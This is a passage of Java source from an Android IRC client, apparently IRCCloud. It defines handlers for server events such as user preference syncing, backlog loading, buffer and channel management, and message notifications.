parse(IRCCloudJSONObject object, boolean backlog) throws JSONException {\n if (userInfo != null)\n userInfo.num_invites = object.getInt(\"num_invites\");\n }\n });\n\n put(\"stat_user\", new Parser() {\n @Override\n public void parse(IRCCloudJSONObject object, boolean backlog) throws JSONException {\n userInfo = new UserInfo(object);\n if(IRCCloudLog.CrashlyticsEnabled)\n FirebaseCrashlytics.getInstance().setUserId(\"uid\" + userInfo.id);\n SharedPreferences prefs = PreferenceManager.getDefaultSharedPreferences(IRCCloudApplication.getInstance().getApplicationContext());\n SharedPreferences.Editor editor = prefs.edit();\n editor.putString(\"uid\", \"uid\" + userInfo.id);\n editor.putString(\"name\", userInfo.name);\n editor.putString(\"email\", userInfo.email);\n editor.putString(\"highlights\", userInfo.highlights);\n editor.putBoolean(\"autoaway\", userInfo.auto_away);\n if (userInfo.prefs != null && !BuildConfig.MOCK_DATA) {\n editor.putBoolean(\"time-24hr\", userInfo.prefs.has(\"time-24hr\") && userInfo.prefs.get(\"time-24hr\") instanceof Boolean && userInfo.prefs.getBoolean(\"time-24hr\"));\n editor.putBoolean(\"time-seconds\", userInfo.prefs.has(\"time-seconds\") && userInfo.prefs.get(\"time-seconds\") instanceof Boolean && userInfo.prefs.getBoolean(\"time-seconds\"));\n editor.putBoolean(\"mode-showsymbol\", userInfo.prefs.has(\"mode-showsymbol\") && userInfo.prefs.get(\"mode-showsymbol\") instanceof Boolean && userInfo.prefs.getBoolean(\"mode-showsymbol\"));\n editor.putBoolean(\"nick-colors\", userInfo.prefs.has(\"nick-colors\") && userInfo.prefs.get(\"nick-colors\") instanceof Boolean && userInfo.prefs.getBoolean(\"nick-colors\"));\n editor.putBoolean(\"mention-colors\", userInfo.prefs.has(\"mention-colors\") && userInfo.prefs.get(\"mention-colors\") instanceof Boolean && userInfo.prefs.getBoolean(\"mention-colors\"));\n editor.putBoolean(\"emoji-disableconvert\", !(userInfo.prefs.has(\"emoji-disableconvert\") && userInfo.prefs.get(\"emoji-disableconvert\") instanceof Boolean && userInfo.prefs.getBoolean(\"emoji-disableconvert\")));\n editor.putBoolean(\"pastebin-disableprompt\", !(userInfo.prefs.has(\"pastebin-disableprompt\") && userInfo.prefs.get(\"pastebin-disableprompt\") instanceof Boolean && userInfo.prefs.getBoolean(\"pastebin-disableprompt\")));\n editor.putBoolean(\"hideJoinPart\", !(userInfo.prefs.has(\"hideJoinPart\") && userInfo.prefs.get(\"hideJoinPart\") instanceof Boolean && userInfo.prefs.getBoolean(\"hideJoinPart\")));\n editor.putBoolean(\"expandJoinPart\", !(userInfo.prefs.has(\"expandJoinPart\") && userInfo.prefs.get(\"expandJoinPart\") instanceof Boolean && userInfo.prefs.getBoolean(\"expandJoinPart\")));\n editor.putBoolean(\"notifications_all\", (userInfo.prefs.has(\"notifications-all\") && userInfo.prefs.get(\"notifications-all\") instanceof Boolean && userInfo.prefs.getBoolean(\"notifications-all\")));\n editor.putBoolean(\"notifications_mute\", (userInfo.prefs.has(\"notifications-mute\") && userInfo.prefs.get(\"notifications-mute\") instanceof Boolean && userInfo.prefs.getBoolean(\"notifications-mute\")));\n editor.putBoolean(\"disableTrackUnread\", !(userInfo.prefs.has(\"disableTrackUnread\") && userInfo.prefs.get(\"disableTrackUnread\") instanceof Boolean && userInfo.prefs.getBoolean(\"disableTrackUnread\")));\n editor.putBoolean(\"enableReadOnSelect\", (userInfo.prefs.has(\"enableReadOnSelect\") && userInfo.prefs.get(\"enableReadOnSelect\") instanceof Boolean && userInfo.prefs.getBoolean(\"enableReadOnSelect\")));\n editor.putBoolean(\"ascii-compact\", (userInfo.prefs.has(\"ascii-compact\") && userInfo.prefs.get(\"ascii-compact\") instanceof Boolean && userInfo.prefs.getBoolean(\"ascii-compact\")));\n editor.putBoolean(\"emoji-nobig\", !(userInfo.prefs.has(\"emoji-nobig\") && userInfo.prefs.get(\"emoji-nobig\") instanceof Boolean && userInfo.prefs.getBoolean(\"emoji-nobig\")));\n editor.putBoolean(\"files-disableinline\", !(userInfo.prefs.has(\"files-disableinline\") && userInfo.prefs.get(\"files-disableinline\") instanceof Boolean && userInfo.prefs.getBoolean(\"files-disableinline\")));\n editor.putBoolean(\"chat-nocodespan\", !(userInfo.prefs.has(\"chat-nocodespan\") && userInfo.prefs.get(\"chat-nocodespan\") instanceof Boolean && userInfo.prefs.getBoolean(\"chat-nocodespan\")));\n editor.putBoolean(\"chat-nocodeblock\", !(userInfo.prefs.has(\"chat-nocodeblock\") && userInfo.prefs.get(\"chat-nocodeblock\") instanceof Boolean && userInfo.prefs.getBoolean(\"chat-nocodeblock\")));\n editor.putBoolean(\"chat-noquote\", !(userInfo.prefs.has(\"chat-noquote\") && userInfo.prefs.get(\"chat-noquote\") instanceof Boolean && userInfo.prefs.getBoolean(\"chat-noquote\")));\n editor.putBoolean(\"chat-nocolor\", !(userInfo.prefs.has(\"chat-nocolor\") && userInfo.prefs.get(\"chat-nocolor\") instanceof Boolean && userInfo.prefs.getBoolean(\"chat-nocolor\")));\n editor.putBoolean(\"inlineimages\", (userInfo.prefs.has(\"inlineimages\") && userInfo.prefs.get(\"inlineimages\") instanceof Boolean && userInfo.prefs.getBoolean(\"inlineimages\")));\n if(userInfo.prefs.has(\"theme\") && !prefs.contains(\"theme\"))\n editor.putString(\"theme\", userInfo.prefs.getString(\"theme\"));\n if(userInfo.prefs.has(\"font\") && !prefs.contains(\"monospace\"))\n editor.putBoolean(\"monospace\", userInfo.prefs.getString(\"font\").equals(\"mono\"));\n if(userInfo.prefs.has(\"time-left\") && !prefs.contains(\"time-left\")) {\n editor.putBoolean(\"time-left\", !(userInfo.prefs.has(\"time-left\") && userInfo.prefs.get(\"time-left\") instanceof Boolean && userInfo.prefs.getBoolean(\"time-left\")));\n }\n if(userInfo.prefs.has(\"avatars-off\") && !prefs.contains(\"avatars-off\")) {\n editor.putBoolean(\"avatars-off\", !(userInfo.prefs.has(\"avatars-off\") && userInfo.prefs.get(\"avatars-off\") instanceof Boolean && userInfo.prefs.getBoolean(\"avatars-off\")));\n }\n if(userInfo.prefs.has(\"chat-oneline\") && !prefs.contains(\"chat-oneline\")) {\n editor.putBoolean(\"chat-oneline\", !(userInfo.prefs.has(\"chat-oneline\") && userInfo.prefs.get(\"chat-oneline\") instanceof Boolean && userInfo.prefs.getBoolean(\"chat-oneline\")));\n }\n if(userInfo.prefs.has(\"chat-norealname\") && !prefs.contains(\"chat-norealname\")) {\n editor.putBoolean(\"chat-norealname\", !(userInfo.prefs.has(\"chat-norealname\") && userInfo.prefs.get(\"chat-norealname\") instanceof Boolean && userInfo.prefs.getBoolean(\"chat-norealname\")));\n }\n if(userInfo.prefs.has(\"labs\") && userInfo.prefs.getJSONObject(\"labs\").has(\"avatars\") && !prefs.contains(\"avatar-images\")) {\n editor.putBoolean(\"avatar-images\", userInfo.prefs.getJSONObject(\"labs\").getBoolean(\"avatars\"));\n }\n if(userInfo.prefs.has(\"hiddenMembers\") && !prefs.contains(\"hiddenMembers\")) {\n editor.putBoolean(\"hiddenMembers\", !(userInfo.prefs.has(\"hiddenMembers\") && userInfo.prefs.get(\"hiddenMembers\") instanceof Boolean && userInfo.prefs.getBoolean(\"hiddenMembers\")));\n }\n } else {\n editor.putBoolean(\"time-24hr\", false);\n editor.putBoolean(\"time-seconds\", false);\n editor.putBoolean(\"time-left\", true);\n editor.putBoolean(\"avatars-off\", true);\n editor.putBoolean(\"chat-oneline\", true);\n editor.putBoolean(\"chat-norealname\", true);\n editor.putBoolean(\"mode-showsymbol\", false);\n editor.putBoolean(\"nick-colors\", false);\n editor.putBoolean(\"mention-colors\", false);\n editor.putBoolean(\"emoji-disableconvert\", true);\n editor.putBoolean(\"pastebin-disableprompt\", true);\n editor.putBoolean(\"ascii-compact\", false);\n editor.putBoolean(\"emoji-nobig\", true);\n editor.putBoolean(\"files-disableinline\", true);\n editor.putBoolean(\"chat-nocodespan\", true);\n editor.putBoolean(\"chat-nocodeblock\", true);\n editor.putBoolean(\"chat-noquote\", true);\n editor.putBoolean(\"chat-nocolor\", true);\n editor.putBoolean(\"inlineimages\", false);\n editor.putBoolean(\"avatar-images\", false);\n }\n editor.apply();\n mEvents.clearCaches();\n notifyHandlers(EVENT_USERINFO, userInfo);\n }\n });\n\n put(\"set_ignores\", new Parser() {\n @Override\n public void parse(IRCCloudJSONObject object, boolean backlog) throws JSONException {\n if(mServers.getServer(object.cid()) != null)\n mServers.getServer(object.cid()).updateIgnores(object.getJsonNode(\"masks\"));\n if (!backlog)\n notifyHandlers(EVENT_SETIGNORES, object);\n }\n });\n put(\"ignore_list\", get(\"set_ignores\"));\n\n put(\"heartbeat_echo\", new Parser() {\n @Override\n public void parse(IRCCloudJSONObject object, boolean backlog) throws JSONException {\n Iterator<Entry<String, JsonNode>> iterator = object.getJsonNode(\"seenEids\").fields();\n while (iterator.hasNext()) {\n Map.Entry<String, JsonNode> entry = iterator.next();\n JsonNode eids = entry.getValue();\n Iterator<Map.Entry<String, JsonNode>> j = eids.fields();\n while (j.hasNext()) {\n Map.Entry<String, JsonNode> eidentry = j.next();\n int bid = Integer.valueOf(eidentry.getKey());\n long eid = eidentry.getValue().asLong();\n NotificationsList.getInstance().updateLastSeenEid(bid, eid);\n Buffer b = mBuffers.getBuffer(bid);\n if (b != null) {\n b.setLast_seen_eid(eid);\n if (mEvents.lastEidForBuffer(bid) <= eid) {\n b.setUnread(0);\n b.setHighlights(0);\n }\n }\n }\n }\n NotificationsList.getInstance().deleteOldNotifications();\n if (!backlog) {\n notifyHandlers(EVENT_HEARTBEATECHO, object);\n }\n }\n });\n\n //Backlog\n put(\"oob_include\", new Parser() {\n @Override\n public void parse(IRCCloudJSONObject object, boolean backlog) throws JSONException {\n try {\n ready = false;\n mBuffers.invalidate();\n mChannels.invalidate();\n OOBFetcher t = new OOBFetcher(new URL(object.getString(\"api_host\") + object.getString(\"url\")), -1);\n synchronized (oobTasks) {\n oobTasks.put(-1, t);\n }\n t.connect();\n } catch (MalformedURLException e) {\n // TODO Auto-generated catch block\n printStackTraceToCrashlytics(e);\n }\n }\n });\n\n put(\"oob_timeout\", new Parser() {\n @Override\n public void parse(IRCCloudJSONObject object, boolean backlog) throws JSONException {\n IRCCloudLog.Log(Log.WARN, \"IRCCloud\", \"OOB timed out\");\n highest_eid = 0;\n streamId = null;\n ready = false;\n if (client != null)\n client.disconnect();\n }\n });\n\n put(\"backlog_starts\", new Parser() {\n @Override\n public void parse(IRCCloudJSONObject object, boolean backlog) throws JSONException {\n numbuffers = object.getInt(\"numbuffers\");\n totalbuffers = 0;\n currentBid = -1;\n notifyHandlers(EVENT_BACKLOG_START, null);\n }\n });\n\n put(\"oob_skipped\", new Parser() {\n @Override\n public void parse(IRCCloudJSONObject object, boolean backlog) throws JSONException {\n Log.d(\"IRCCloud\", \"OOB was skipped\");\n ready = true;\n }\n });\n\n put(\"backlog_cache_init\", new Parser() {\n @Override\n public void parse(IRCCloudJSONObject object, boolean backlog) throws JSONException {\n mEvents.deleteEventsBeforeEid(object.bid(), object.eid());\n }\n });\n\n put(\"backlog_complete\", new Parser() {\n @Override\n public void parse(IRCCloudJSONObject object, boolean backlog) throws JSONException {\n accrued = 0;\n try {\n Log.d(\"IRCCloud\", \"Cleaning up invalid BIDs\");\n mBuffers.dirty = true;\n mBuffers.purgeInvalidBIDs();\n mChannels.purgeInvalidChannels();\n NotificationsList.getInstance().deleteOldNotifications();\n NotificationsList.getInstance().pruneNotificationChannels();\n mRecentConversations.prune();\n mRecentConversations.publishShortcuts();\n process_pending_edits(false);\n } catch (Exception e) {\n printStackTraceToCrashlytics(e);\n }\n if (userInfo != null && userInfo.connections > 0 && (mServers.count() == 0 || mBuffers.count() == 0)) {\n Log.e(\"IRCCloud\", \"Failed to load buffers list, reconnecting\");\n notifyHandlers(EVENT_BACKLOG_FAILED, null);\n streamId = null;\n if (client != null)\n client.disconnect();\n } else {\n failCount = 0;\n ready = true;\n notifyHandlers(EVENT_BACKLOG_END, null);\n if(notifier)\n save(1000);\n }\n }\n });\n\n //Misc. popup alerts\n put(\"bad_channel_key\", new BroadcastParser(EVENT_BADCHANNELKEY));\n final Parser alert = new BroadcastParser(EVENT_ALERT);\n String[] alerts = {\"too_many_channels\", \"no_such_channel\", \"bad_channel_name\",\n \"no_such_nick\", \"invalid_nick_change\", \"chan_privs_needed\",\n \"accept_exists\", \"banned_from_channel\", \"oper_only\",\n \"no_nick_change\", \"no_messages_from_non_registered\", \"not_registered\",\n \"already_registered\", \"too_many_targets\", \"no_such_server\",\n \"unknown_command\", \"help_not_found\", \"accept_full\",\n \"accept_not\", \"nick_collision\", \"nick_too_fast\", \"need_registered_nick\",\n \"save_nick\", \"unknown_mode\", \"user_not_in_channel\",\n \"need_more_params\", \"users_dont_match\", \"users_disabled\",\n \"invalid_operator_password\", \"flood_warning\", \"privs_needed\",\n \"operator_fail\", \"not_on_channel\", \"ban_on_chan\",\n \"cannot_send_to_chan\", \"user_on_channel\", \"no_nick_given\",\n \"no_text_to_send\", \"no_origin\", \"only_servers_can_change_mode\",\n \"silence\", \"no_channel_topic\", \"invite_only_chan\", \"channel_full\", \"channel_key_set\",\n \"blocked_channel\",\"unknown_error\",\"channame_in_use\",\"pong\",\n \"monitor_full\",\"mlock_restricted\",\"cannot_do_cmd\",\"secure_only_chan\",\n \"cannot_change_chan_mode\",\"knock_delivered\",\"too_many_knocks\",\n \"chan_open\",\"knock_on_chan\",\"knock_disabled\",\"cannotknock\",\"ownmode\",\n \"nossl\",\"redirect_error\",\"invalid_flood\",\"join_flood\",\"metadata_limit\",\n \"metadata_targetinvalid\",\"metadata_nomatchingkey\",\"metadata_keyinvalid\",\n \"metadata_keynotset\",\"metadata_keynopermission\",\"metadata_toomanysubs\", \"invalid_nick\"};\n for (String event : alerts) {\n put(event, alert);\n }\n\n //Server events\n put(\"makeserver\", new Parser() {\n @Override\n public void parse(IRCCloudJSONObject object, boolean backlog) throws JSONException {\n String away = object.getString(\"away\");\n if (getUserInfo() != null && getUserInfo().auto_away && away != null && away.equals(\"Auto-away\"))\n away = \"\";\n\n Server server = mServers.createServer(object.cid(), object.getString(\"name\"), object.getString(\"hostname\"),\n object.getInt(\"port\"), object.getString(\"nick\"), object.getString(\"status\"), object.getBoolean(\"ssl\") ? 1 : 0,\n object.getString(\"realname\"), object.getString(\"server_pass\"), object.getString(\"nickserv_pass\"), object.getString(\"join_commands\"),\n object.getJsonObject(\"fail_info\"), away, object.getJsonNode(\"ignores\"), (object.has(\"order\") && !object.getString(\"order\").equals(\"undefined\")) ? object.getInt(\"order\") : 0, object.getString(\"server_realname\"),\n object.getString(\"ircserver\"), (object.has(\"orgid\") && !object.getString(\"orgid\").equals(\"undefined\")) ? object.getInt(\"orgid\") : 0,\n (object.has(\"avatars_supported\") && !object.getString(\"avatars_supported\").equals(\"undefined\")) ? object.getInt(\"avatars_supported\") : 0,\n (object.has(\"slack\") && !object.getString(\"slack\").equals(\"undefined\")) ? object.getInt(\"slack\") : 0);\n\n if(object.has(\"usermask\") && object.getString(\"usermask\").length() > 0)\n server.setUsermask(object.getString(\"usermask\"));\n\n if(object.has(\"deferred_archives\"))\n server.deferred_archives = object.getInt(\"deferred_archives\");\n\n if(object.has(\"avatar\"))\n server.setAvatar(object.getString(\"avatar\"));\n\n if(object.has(\"avatar_url\"))\n server.setAvatarURL(object.getString(\"avatar_url\"));\n\n String avatar_url = null;\n if(PreferenceManager.getDefaultSharedPreferences(IRCCloudApplication.getInstance().getApplicationContext()).getBoolean(\"avatar-images\", false)) {\n Event e = new Event();\n e.cid = server.getCid();\n e.from = server.getNick();\n e.type = \"buffer_msg\";\n e.hostmask = server.getUsermask();\n e.avatar = server.getAvatar();\n e.avatar_url = server.getAvatarURL();\n\n avatar_url = e.getAvatarURL(AvatarsList.SHORTCUT_ICON_SIZE());\n }\n\n NotificationsList.getInstance().updateServerNick(object.cid(), object.getString(\"nick\"), avatar_url, server.isSlack());\n NotificationsList.getInstance().addNotificationGroup(server.getCid(), server.getName() != null && server.getName().length() > 0 ? server.getName() : server.getHostname());\n\n mBuffers.dirty = true;\n\n if (!backlog) {\n notifyHandlers(EVENT_MAKESERVER, server);\n }\n }\n });\n put(\"server_details_changed\", get(\"makeserver\"));\n put(\"connection_deleted\", new Parser() {\n @Override\n public void parse(IRCCloudJSONObject object, boolean backlog) throws JSONException {\n mServers.deleteAllDataForServer(object.cid());\n NotificationsList.getInstance().pruneNotificationChannels();\n mRecentConversations.prune();\n if (!backlog)\n notifyHandlers(EVENT_CONNECTIONDELETED, object.cid());\n }\n });\n put(\"status_changed\", new Parser() {\n @Override\n public void parse(IRCCloudJSONObject object, boolean backlog) throws JSONException {\n Server s = mServers.getServer(object.cid());\n if(s != null) {\n s.setStatus(object.getString(\"new_status\"));\n s.setFail_info(object.getJsonObject(\"fail_info\"));\n }\n mBuffers.dirty = true;\n if (!backlog) {\n if (object.getString(\"new_status\").equals(\"disconnected\")) {\n ArrayList<Buffer> buffers = mBuffers.getBuffersForServer(object.cid());\n for (Buffer b : buffers) {\n mChannels.deleteChannel(b.getBid());\n }\n }\n notifyHandlers(EVENT_STATUSCHANGED, object);\n }\n }\n });\n put(\"isupport_params\", new Parser() {\n @Override\n public void parse(IRCCloudJSONObject object, boolean backlog) throws JSONException {\n Server s = mServers.getServer(object.cid());\n if(s != null) {\n s.updateIsupport(object.getJsonObject(\"params\"));\n s.updateUserModes(object.getString(\"usermodes\"));\n }\n }\n });\n put(\"reorder_connections\", new Parser() {\n @Override\n public void parse(IRCCloudJSONObject object, boolean backlog) throws JSONException {\n JsonNode order = object.getJsonNode(\"order\");\n for (int i = 0; i < order.size(); i++) {\n mServers.getServer(order.get(i).asInt()).setOrder(i + 1);\n }\n notifyHandlers(EVENT_REORDERCONNECTIONS, object);\n }\n });\n\n //Buffer events\n put(\"open_buffer\", new BroadcastParser(EVENT_OPENBUFFER));\n put(\"makebuffer\", new Parser() {\n @Override\n public void parse(IRCCloudJSONObject object, boolean backlog) throws JSONException {\n Buffer buffer = mBuffers.createBuffer(object.bid(), object.cid(),\n (object.has(\"min_eid\") && !object.getString(\"min_eid\").equalsIgnoreCase(\"undefined\")) ? object.getLong(\"min_eid\") : 0,\n (object.has(\"last_seen_eid\") && !object.getString(\"last_seen_eid\").equalsIgnoreCase(\"undefined\")) ? object.getLong(\"last_seen_eid\") : -1, object.getString(\"name\"), object.getString(\"buffer_type\"),\n (object.has(\"archived\") && object.getBoolean(\"archived\")) ? 1 : 0, (object.has(\"deferred\") && object.getBoolean(\"deferred\")) ? 1 : 0, (object.has(\"timeout\") && object.getBoolean(\"timeout\")) ? 1 : 0, object.getLong(\"created\"));\n if(buffer.getTimeout() == 1 || buffer.getDeferred() == 1)\n mEvents.deleteEventsForBuffer(buffer.getBid());\n NotificationsList.getInstance().updateLastSeenEid(buffer.getBid(), buffer.getLast_seen_eid());\n if(buffer.getTimeout() == 1 || buffer.getDeferred() == 1)\n mEvents.deleteEventsForBuffer(buffer.getBid());\n if(buffer.getServer() != null && buffer.getArchived() == 1)\n buffer.getServer().deferred_archives--;\n if (!backlog) {\n notifyHandlers(EVENT_MAKEBUFFER, buffer);\n }\n totalbuffers++;\n }\n });\n put(\"delete_buffer\", new Parser() {\n @Override\n public void parse(IRCCloudJSONObject object, boolean backlog) throws JSONException {\n mBuffers.deleteAllDataForBuffer(object.bid());\n NotificationsList.getInstance().deleteNotificationsForBid(object.bid());\n NotificationsList.getInstance().pruneNotificationChannels();\n mRecentConversations.prune();\n if (!backlog)\n notifyHandlers(EVENT_DELETEBUFFER, object.bid());\n }\n });\n put(\"buffer_archived\", new Parser() {\n @Override\n public void parse(IRCCloudJSONObject object, boolean backlog) throws JSONException {\n Buffer b = mBuffers.getBuffer(object.bid());\n if(b != null)\n b.setArchived(1);\n if (!backlog) {\n mRecentConversations.prune();\n notifyHandlers(EVENT_BUFFERARCHIVED, object.bid());\n }\n }\n });\n put(\"buffer_unarchived\", new Parser() {\n @Override\n public void parse(IRCCloudJSONObject object, boolean backlog) throws JSONException {\n Buffer b = mBuffers.getBuffer(object.bid());\n if(b != null)\n b.setArchived(0);\n Server s = mServers.getServer(object.cid());\n if(s != null && s.deferred_archives > 0)\n s.deferred_archives--;\n if (!backlog) {\n notifyHandlers(EVENT_BUFFERUNARCHIVED, object.bid());\n }\n }\n });\n put(\"rename_conversation\", new Parser() {\n @Override\n public void parse(IRCCloudJSONObject object, boolean backlog) throws JSONException {\n Buffer b = mBuffers.getBuffer(object.bid());\n if(b != null)\n b.setName(object.getString(\"new_name\"));\n if (!backlog) {\n notifyHandlers(EVENT_RENAMECONVERSATION, object.bid());\n }\n }\n });\n put(\"rename_channel\", new Parser() {\n @Override\n public void parse(IRCCloudJSONObject object, boolean backlog) throws JSONException {\n Buffer b = mBuffers.getBuffer(object.bid());\n if(b != null)\n b.setName(object.getString(\"new_name\"));\n Channel c = mChannels.getChannelForBuffer(object.bid());\n if(c != null)\n c.name = object.getString(\"new_name\");\n if (!backlog) {\n notifyHandlers(EVENT_RENAMECONVERSATION, object.bid());\n }\n }\n });\n Parser msg = new Parser() {\n @Override\n public void parse(IRCCloudJSONObject object, boolean backlog) throws JSONException {\n boolean newEvent = (mEvents.getEvent(object.eid(), object.bid()) == null);\n Event event = mEvents.addEvent(object);\n Buffer b = mBuffers.getBuffer(object.bid());\n\n if(event.eid == -1) {\n alert.parse(object, backlog);\n } else {\n if (b != null && event.isImportant(b.getType())) {\n if(event.from != null) {\n User u = mUsers.getUser(event.bid, event.from);\n if (u != null) {\n if(u.last_message < event.eid)\n u.last_message = event.eid;\n if(event.highlight && u.last_mention < event.eid)\n u.last_mention = event.eid;\n }\n }\n\n if (event.eid > b.getLast_seen_eid()) {\n if ((event.highlight || b.isConversation())) {\n if (newEvent) {\n b.setHighlights(b.getHighlights() + 1);\n b.setUnread(1);\n }\n if (!backlog) {\n JSONObject bufferDisabledMap = null;\n boolean show = true;\n String pref_type = b.isChannel() ? \"channel\" : \"buffer\";\n if (userInfo != null && userInfo.prefs != null && userInfo.prefs.has(pref_type + \"-disableTrackUnread\")) {\n bufferDisabledMap = userInfo.prefs.getJSONObject(pref_type + \"-disableTrackUnread\");\n if (bufferDisabledMap != null && bufferDisabledMap.has(String.valueOf(b.getBid())) && bufferDisabledMap.getBoolean(String.valueOf(b.getBid())))\n show = false;\n }\n if (userInfo != null && userInfo.prefs != null && userInfo.prefs.has(pref_type + \"-notifications-mute\")) {\n JSONObject bufferMutedMap = userInfo.prefs.getJSONObject(pref_type + \"-notifications-mute\");\n if (bufferMutedMap != null && bufferMutedMap.has(String.valueOf(b.getBid())) && bufferMutedMap.getBoolean(String.valueOf(b.getBid())))\n show = false;\n }\n try {\n if (IRCCloudApplication.getInstance().getApplicationContext().getSharedPreferences(\"prefs\", 0).getString(\"gcm_token\", \"\").length() > 0)\n show = false;\n } catch (Exception e) {\n show = true;\n }\n if (show && NotificationsList.getInstance().getNotification(event.eid) == null) {\n String message = ColorFormatter.strip(event.msg).toString();\n String server_name = b.getServer().getName();\n if (server_name == null || server_name.length() == 0)\n server_name = b.getServer().getHostname();\n String from = event.nick;\n if (from == null)\n from = (event.from != null) ? event.from : event.server;\n\n NotificationsList.getInstance().addNotification(event.cid, event.bid, event.eid, (event.nick != null) ? event.nick : event.from, message, b.getName(), b.getType(), event.type, server_name, event.getAvatarURL(512));\n switch (b.getType()) {\n case \"conversation\":\n if (event.type.equals(\"buffer_me_msg\"))\n NotificationsList.getInstance().showNotifications(\"— \" + b.getName() + \" \" + message);\n else\n NotificationsList.getInstance().showNotifications(b.getName() + \": \" + message);\n break;\n case \"console\":\n if (event.from == null || event.from.length() == 0) {\n Server s = mServers.getServer(event.cid);\n if (s.getName() != null && s.getName().length() > 0)\n NotificationsList.getInstance().showNotifications(s.getName() + \": \" + message);\n else\n NotificationsList.getInstance().showNotifications(s.getHostname() + \": \" + message);\n } else {\n NotificationsList.getInstance().showNotifications(event.from + \": \" + message);\n }\n break;\n default:\n if (event.type.equals(\"buffer_me_msg\"))\n NotificationsList.getInstance().showNotifications(b.getName() + \": — \" + event.nick + \" \" + message);\n else\n NotificationsList.getInstance().showNotifications(b.getName() + \": <\" + event.from + \"> \" + message);\n break;\n }\n }\n }\n } else {\n b.setUnread(1);\n }\n }\n }\n }\n\n if (handlers.size() == 0 && b != null && !b.getScrolledUp() && mEvents.getSizeOfBuffer(b.getBid()) > 200)\n mEvents.pruneEvents(b.getBid());\n\n if (event.reqid >= 0) {\n Event pending = mEvents.findPendingEventForReqid(event.bid, event.reqid);\n if(pending != null) {\n try {\n if (pending.expiration_timer != null)\n pending.expiration_timer.cancel();\n } catch (Exception e1) {\n //Timer already cancelled\n }\n if(pending.eid != event.eid)\n mEvents.deleteEvent(pending.eid, pending.bid);\n }\n } else if(event.self && b != null && b.isConversation()) {\n mEvents.clearPendingEvents(event.bid);\n }\n\n if(event.isMessage()) {\n String avatar = event.getAvatarURL(AvatarsList.SHORTCUT_ICON_SIZE());\n AvatarsList.setAvatarURL(event.cid, event.type.equals(\"buffer_me_msg\")?event.nick:event.from_nick, event.eid, avatar);\n if (b != null && b.isConversation() && b.getName().equalsIgnoreCase(event.from)) {\n try {\n if (avatar != null && PreferenceManager.getDefaultSharedPreferences(IRCCloudApplication.getInstance().getApplicationContext()).getBoolean(\"avatar-images\", true)) {\n URL url = new URL(event.getAvatarURL(AvatarsList.SHORTCUT_ICON_SIZE()));\n if (!ImageList.getInstance().cacheFile(url).exists()) {\n ImageList.getInstance().fetchImage(url, null);\n }\n }\n } catch (Exception e) {\n }\n }\n }\n\n if(event.self) {\n if(b != null)\n mRecentConversations.updateConversation(event.cid, event.bid, b.getName(), b.getType(), event.eid / 1000);\n if(!backlog)\n mRecentConversations.publishShortcuts();\n }\n\n if (!backlog) {\n notifyHandlers(EVENT_BUFFERMSG, event);\n }\n }\n };\n\n String[] msgs = { \"buffer_msg\", \"buffer_me_msg\", \"wait\", \"banned\", \"kill\", \"connecting_cancelled\",\n \"target_callerid\", \"notice\", \"server_motdstart\", \"server_welcome\", \"server_motd\", \"server_endofmotd\",\n \"server_nomotd\", \"server_luserclient\", \"server_luserop\", \"server_luserconns\", \"server_luserme\", \"server_n_local\",\n \"server_luserchannels\", \"server_n_global\", \"server_yourhost\",\"server_created\", \"server_luserunknown\",\n \"services_down\", \"your_unique_id\", \"callerid\", \"target_notified\", \"myinfo\", \"hidden_host_set\", \"unhandled_line\",\n \"unparsed_line\", \"connecting_failed\", \"nickname_in_use\", \"channel_invite\", \"motd_response\", \"socket_closed\",\n \"channel_mode_list_change\", \"msg_services\", \"stats\", \"statslinkinfo\", \"statscommands\", \"statscline\",\n \"statsnline\", \"statsiline\", \"statskline\", \"statsqline\", \"statsyline\", \"statsbline\", \"statsgline\", \"statstline\",\n \"statseline\", \"statsvline\", \"statslline\", \"statsuptime\", \"statsoline\", \"statshline\", \"statssline\", \"statsuline\",\n \"statsdebug\", \"spamfilter\", \"endofstats\", \"inviting_to_channel\", \"error\", \"too_fast\", \"no_bots\",\n \"wallops\", \"logged_in_as\", \"sasl_fail\", \"sasl_too_long\", \"sasl_aborted\", \"sasl_already\",\n \"you_are_operator\", \"btn_metadata_set\", \"sasl_success\", \"version\", \"channel_name_change\",\n \"cap_ls\", \"cap_list\", \"cap_new\", \"cap_del\", \"cap_req\",\"cap_ack\",\"cap_nak\",\"cap_raw\",\"cap_invalid\", \"help\",\n \"newsflash\", \"invited\", \"server_snomask\", \"codepage\", \"logged_out\", \"nick_locked\", \"info_response\", \"generic_server_info\",\n \"unknown_umode\", \"bad_ping\", \"cap_raw\", \"rehashed_config\", \"knock\", \"bad_channel_mask\", \"kill_deny\",\n \"chan_own_priv_needed\", \"not_for_halfops\", \"chan_forbidden\", \"starircd_welcome\", \"zurna_motd\",\n \"ambiguous_error_message\", \"list_usage\", \"list_syntax\", \"who_syntax\", \"text\", \"admin_info\",\n \"sqline_nick\", \"user_chghost\", \"loaded_module\", \"unloaded_module\", \"invite_notify\" };\n for (String event : msgs) {\n put(event, msg);\n }\n\n //Channel events\n put(\"link_channel\", new Parser() {\n @Override\n public void parse(IRCCloudJSONObject object, boolean backlog) throws JSONException {\n mEvents.addEvent(object);\n if (!backlog) {\n notifyHandlers(EVENT_LINKCHANNEL, object);\n }\n }\n });\n put(\"channel_init\", new Parser() {\n @Override\n public void parse(IRCCloudJSONObject object, boolean backlog) throws JSONException {\n JsonNode topic = object.getJsonObject(\"topic\");\n String set_by = \"\";\n if(topic != null && topic.has(\"nick\") && !topic.get(\"nick\").isNull())\n set_by = topic.get(\"nick\").asText();\n else if(topic != null && topic.has(\"server\") && !topic.get(\"server\").isNull())\n set_by = topic.get(\"server\").asText();\n Channel channel = mChannels.createChannel(object.cid(), object.bid(), object.getString(\"chan\"),\n (topic == null || topic.get(\"text\").isNull()) ? \"\" : topic.get(\"text\").asText(),\n (topic == null || !topic.has(\"time\")) ? 0 : topic.get(\"time\").asLong(),\n set_by, object.getString(\"channel_type\"),\n object.getLong(\"timestamp\"));\n mChannels.updateMode(object.bid(), object.getString(\"mode\"), object.getJsonObject(\"ops\"), true);\n mChannels.updateURL(object.bid(), object.getString(\"url\"));\n mUsers.deleteUsersForBuffer(object.bid());\n JsonNode users = object.getJsonNode(\"members\");\n if(users != null) {\n Iterator<JsonNode> iterator = users.elements();\n while (iterator.hasNext()) {\n JsonNode user = iterator.next();\n mUsers.createUser(object.cid(), object.bid(), user.get(\"nick\").asText(), user.get(\"usermask\").asText(), user.has(\"mode\") ? user.get(\"mode\").asText() : \"\", user.has(\"ircserver\") ? user.get(\"ircserver\").asText() : \"\", (user.has(\"away\") && 